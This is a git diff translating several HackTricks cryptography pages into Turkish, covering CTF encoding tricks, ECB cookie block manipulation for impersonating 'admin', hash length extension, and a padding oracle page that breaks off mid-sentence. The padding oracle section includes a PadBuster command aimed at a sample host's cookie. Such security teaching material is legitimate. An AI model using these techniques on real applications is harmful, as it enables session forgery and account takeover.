b/src/cryptography/crypto-ctfs-tricks.md @@ -4,7 +4,7 @@ ## Online Hashes DBs -- _**Google it**_ +- _**Google'la arayın**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -19,13 +19,13 @@ ## Magic Autosolvers - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic modülü) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) ## Encoders -Most of encoded data can be decoded with these 2 ressources: +Çoğu kodlanmış veri bu 2 kaynakla çözülebilir: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - Çok iyi! #### Caesar - ROTx Autosolvers @@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources: ### Base Encodings Autosolver -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +Tüm bu tabanları kontrol edin: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` +- `<~BQ%]q@psCd@rH0l~>` - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Ölü: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Ölü: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### Morse - ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Ölü: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,96 +137,79 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Dvorak klavye ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +Harflerin sayısal değeri ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` - ### Affine Cipher Encode -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +Harfı numaraya `(ax+b)%26` (_a_ ve _b_ anahtarlar ve _x_ harf) ve sonucu tekrar harfe çevirin. ``` krodfdudfrod ``` +### SMS Kodu -### SMS Code +**Multitap** [bir harfi](https://www.dcode.fr/word-letter-change) mobil [telefon tuş takımı](https://www.dcode.fr/phone-keypad-cipher) üzerindeki karşılık gelen tuş kodu ile tanımlanan tekrar eden rakamlarla değiştirir (Bu mod SMS yazarken kullanılır).\ +Örneğin: 2=A, 22=B, 222=C, 3=D...\ +Bu kodu tanıyabilirsiniz çünkü\*\* birkaç rakamın tekrarlandığını\*\* göreceksiniz. -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +Bu kodu şuradan çözebilirsiniz: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### Bacon Kodu +Her harfi 4 A veya B (veya 1 ve 0) ile değiştirin. ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - ### Runes ![](../images/runes.jpg) ## Compression -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** ve **Raw Inflate** (her ikisini de Cyberchef'te bulabilirsiniz) başlık olmadan verileri sıkıştırabilir ve açabilir. ## Easy Crypto @@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ### Bifid -A keywork is needed - +Bir anahtar kelime gereklidir. ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +Bir anahtar kelimeye ihtiyaç vardır ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## Güçlü Kripto ### Fernet -2 base64 strings (token and key) - +2 base64 dizesi (token ve anahtar) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,19 +245,16 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### Samir Gizli Paylaşımı +Bir gizli bilgi X parçaya bölünür ve onu geri kazanmak için Y parçaya ihtiyacınız vardır (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) ### OpenSSL brute-force @@ -292,7 +262,7 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## Araçlar - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md index a09798b1e..e12be50f7 100644 --- a/src/cryptography/electronic-code-book-ecb.md +++ b/src/cryptography/electronic-code-book-ecb.md @@ -2,72 +2,66 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) Elektronik Kod Kitabı - her **açık metin bloğunu** **şifreli metin bloğu ile** değiştiren simetrik şifreleme şemasıdır. Bu, en **basit** şifreleme şemasınıdır. Ana fikir, açık metni **N bitlik bloklara** **bölmek** (giriş verisinin blok boyutuna, şifreleme algoritmasına bağlıdır) ve ardından her açık metin bloğunu yalnızca bir anahtar kullanarak şifrelemektir (şifre çözmektir). ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +ECB kullanmanın birçok güvenlik etkisi vardır: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **Şifreli mesajdan bloklar çıkarılabilir** +- **Şifreli mesajdan bloklar yer değiştirebilir** -# Detection of the vulnerability +# Zafiyetin Tespiti -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +Bir uygulamaya birkaç kez giriş yaptığınızı ve **her zaman aynı çerezi** aldığınızı hayal edin. Bunun nedeni, uygulamanın çerezinin **`|<şifre>`** olmasıdır.\ +Sonra, her ikisi de **aynı uzun şifreye** ve **neredeyse** **aynı** **kullanıcı adına** sahip yeni kullanıcılar oluşturursunuz.\ +Her iki kullanıcının **bilgilerinin** aynı olduğu **8B'lik blokların** **eşit** olduğunu keşfedersiniz. Sonra, bunun **ECB'nin kullanılıyor olabileceği** nedeniyle olabileceğini hayal edersiniz. +Aşağıdaki örnekte olduğu gibi. Bu **2 çözülmüş çerezin** nasıl birkaç kez **`\x23U\xE45K\xCB\x21\xC8`** bloğunu içerdiğine dikkat edin. ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +Bu, **bu çerezlerin kullanıcı adı ve şifresinin birkaç kez "a" harfini içermesinden** kaynaklanmaktadır (örneğin). **Farklı** olan **bloklar**, **en az 1 farklı karakter** içeren bloklardır (belki ayırıcı "|" veya kullanıcı adındaki bazı gerekli farklılık). -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +Şimdi, saldırganın formatın `` mi yoksa `` mi olduğunu keşfetmesi gerekiyor. Bunu yapmak için, sadece **benzer ve uzun kullanıcı adları ve şifreler ile birkaç kullanıcı adı oluşturabilir** ve formatı ve ayırıcının uzunluğunu bulana kadar devam edebilir: -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| Kullanıcı adı uzunluğu: | Şifre uzunluğu: | Kullanıcı adı+Şifre uzunluğu: | Çerezin uzunluğu (çözüldükten sonra): | +| ----------------------- | ---------------- | ------------------------------ | ------------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# Açığın istismarı -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## Tüm blokları kaldırma +Çerezin formatını bilerek (`|`), `admin` kullanıcı adını taklit etmek için `aaaaaaaaadmin` adında yeni bir kullanıcı oluşturun ve çerezi alın ve çözün: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +Önceden yalnızca `a` içeren kullanıcı adıyla oluşturulan `\x23U\xE45K\xCB\x21\xC8` desenini görebiliriz.\ +Ardından, 8B'nin ilk bloğunu kaldırabilir ve `admin` kullanıcı adı için geçerli bir çerez elde edersiniz: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## Blokları Taşıma -## Moving blocks +Birçok veritabanında `WHERE username='admin';` veya `WHERE username='admin ';` aramak aynı şeydir _(Ekstra boşluklara dikkat edin)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +Bu nedenle, `admin` kullanıcısını taklit etmenin başka bir yolu: -So, another way to impersonate the user `admin` would be to: +- `len() + len(` parçası 2 adet 8B blok oluşturacaktır. +- Ardından, taklit etmek istediğimiz kullanıcı adını ve boşlukları içeren tam sayıda blok dolduracak bir şifre oluşturmak, örneğin: `admin ` -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +Bu kullanıcının çerezi 3 bloktan oluşacak: ilk 2 blok kullanıcı adı + ayırıcı blokları ve üçüncü blok şifre (kullanıcı adını taklit eden): `username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**Sonra, sadece ilk bloğu son blokla değiştirin ve `admin` kullanıcısını taklit etmiş olacaksınız: `admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## Referanslar - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 837cedd01..5bf015305 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -1,36 +1,36 @@ {{#include ../banners/hacktricks-training.md}} -# Summary of the attack +# Saldırının Özeti -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +Bir sunucunun bazı bilinen açık metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hash'lediğini düşünün. Eğer şunları biliyorsanız: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **Gizlinin uzunluğu** (bu, belirli bir uzunluk aralığından da brute force ile elde edilebilir) +- **Açık metin verisi** +- **Algoritma (ve bu saldırıya karşı savunmasız)** +- **Padding biliniyor** +- Genellikle varsayılan bir padding kullanılır, bu nedenle diğer 3 gereklilik karşılandığında, bu da geçerlidir +- Padding, gizli+veri uzunluğuna bağlı olarak değişir, bu yüzden gizlinin uzunluğu gereklidir -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +O zaman, bir **saldırganın** **veri eklemesi** ve **önceki veri + eklenen veri** için geçerli bir **imza** **üretmesi** mümkündür. -## How? +## Nasıl? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +Temelde, savunmasız algoritmalar hash'leri önce bir **veri bloğunu hash'leyerek** oluşturur ve ardından, **önceden** oluşturulmuş **hash** (durum) üzerinden **bir sonraki veri bloğunu ekleyip** **hash'ler**. -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +O zaman, gizlinin "secret" ve verinin "data" olduğunu hayal edin, "secretdata"nın MD5'i 6036708eba0d11f6ef52ad44e8b74d5b'dir.\ +Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- 64 "A"nın MD5'ini oluştur +- Önceden başlatılmış hash'in durumunu 6036708eba0d11f6ef52ad44e8b74d5b olarak değiştir +- "append" dizesini ekle +- Hash'i tamamla ve sonuçta elde edilen hash, **"secret" + "data" + "padding" + "append"** için geçerli bir hash olacaktır -## **Tool** +## **Araç** {% embed url="https://github.com/iagox86/hash_extender" %} -## References +## Referanslar -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +Bu saldırıyı [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde iyi bir şekilde bulabilirsiniz. {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md index 499b42d4b..9d6b61b17 100644 --- a/src/cryptography/padding-oracle-priv.md +++ b/src/cryptography/padding-oracle-priv.md @@ -2,26 +2,24 @@
-{% embed url="https://websec.nl/" %} +# CBC - Şifre Blok Zincirleme -# CBC - Cipher Block Chaining - -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +CBC modunda **önceki şifreli blok IV olarak kullanılır** ve bir sonraki blokla XOR yapılır: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +CBC'yi deşifre etmek için **ters** **işlemler** yapılır: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +Bir **şifreleme** **anahtarı** ve bir **IV** kullanmanın gerekli olduğunu unutmayın. -# Message Padding +# Mesaj Doldurma -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +Şifreleme **sabit** **boyut** **blokları** içinde gerçekleştirildiğinden, **son** **blokta** uzunluğunu tamamlamak için genellikle **doldurma** gereklidir.\ +Genellikle **PKCS7** kullanılır, bu da bloğu tamamlamak için **gerekli** **bayt** **sayısını** **tekrarlayarak** bir doldurma oluşturur. Örneğin, son blokta 3 bayt eksikse, doldurma `\x03\x03\x03` olacaktır. -Let's look at more examples with a **2 blocks of length 8bytes**: +**8 bayt uzunluğunda 2 blok** ile daha fazla örneğe bakalım: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +Son örnekte **son bloğun dolu olduğunu ve sadece doldurma ile başka bir bloğun oluşturulduğunu** unutmayın. -# Padding Oracle +# Doldurma Oracle'ı -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +Bir uygulama şifreli verileri deşifre ettiğinde, önce verileri deşifre eder; ardından doldurmayı kaldırır. Doldurmanın temizlenmesi sırasında, eğer **geçersiz bir doldurma tespit edilebilir bir davranış tetiklerse**, bir **doldurma oracle zafiyeti** vardır. Tespit edilebilir davranış bir **hata**, **sonuç eksikliği** veya **daha yavaş bir yanıt** olabilir. -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +Bu davranışı tespit ederseniz, **şifreli verileri deşifre edebilir** ve hatta **herhangi bir açık metni şifreleyebilirsiniz**. -## How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +## Nasıl istismar edilir +Bu tür bir zafiyeti istismar etmek için [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kullanabilir veya sadece yapabilirsiniz. ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +Bir sitenin çerezinin savunmasız olup olmadığını test etmek için şunları deneyebilirsiniz: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**Encoding 0** demek **base64** kullanıldığı anlamına gelir (ancak diğerleri de mevcuttur, yardım menüsüne bakın). -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +Bu zafiyeti **yeni verileri şifrelemek için kötüye kullanabilirsiniz. Örneğin, çerezin içeriği 